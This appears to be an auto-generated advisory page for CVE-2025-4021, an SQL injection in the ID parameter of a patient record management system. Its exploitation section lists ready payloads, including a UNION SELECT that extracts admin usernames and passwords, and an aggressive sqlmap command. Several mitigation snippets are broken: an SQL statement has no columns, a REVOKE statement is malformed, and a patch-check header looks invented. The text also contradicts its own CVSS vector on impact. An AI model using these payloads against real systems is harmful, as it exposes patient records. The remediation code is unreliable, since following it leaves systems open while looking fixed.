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How CVE-2025-4021 Works
The vulnerability exists in `/edit_spatient.php` due to improper sanitization of the `ID` parameter. An attacker can inject malicious SQL queries via this parameter, manipulating database operations. Since the system fails to validate user input, crafted payloads can bypass authentication, extract sensitive patient records, or execute arbitrary database commands. The attack is remotely exploitable with low complexity, requiring only a single HTTP request. The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L) confirms network-based exploitation with high impact on confidentiality, integrity, and availability.
DailyCVE Form
Platform: Patient Record Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/14/2025
What Undercode Say:
Exploitation
1. Payload Example:
' OR 1=1--
Injected into `ID` parameter:
GET /edit_spatient.php?ID=' OR 1=1-- HTTP/1.1
2. Database Enumeration:
' UNION SELECT username, password FROM admin_users--
3. Tool Command:
sqlmap -u "http://target/edit_spatient.php?ID=1" --risk=3 --level=5
Protection
1. Input Validation:
$id = mysqli_real_escape_string($conn, $_GET['ID']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM patients WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
3. WAF Rule:
location ~ edit_spatient.php {
deny all;
}
4. Patch Verification:
curl -I http://target/edit_spatient.php | grep "X-Patched: true"
5. Log Monitoring:
grep "edit_spatient.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
6. Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%';
7. Exploit Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "edit_spatient.php" --algo bm -j DROP
8. Vulnerability Scan:
nmap --script http-sql-injection -p 80 target
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
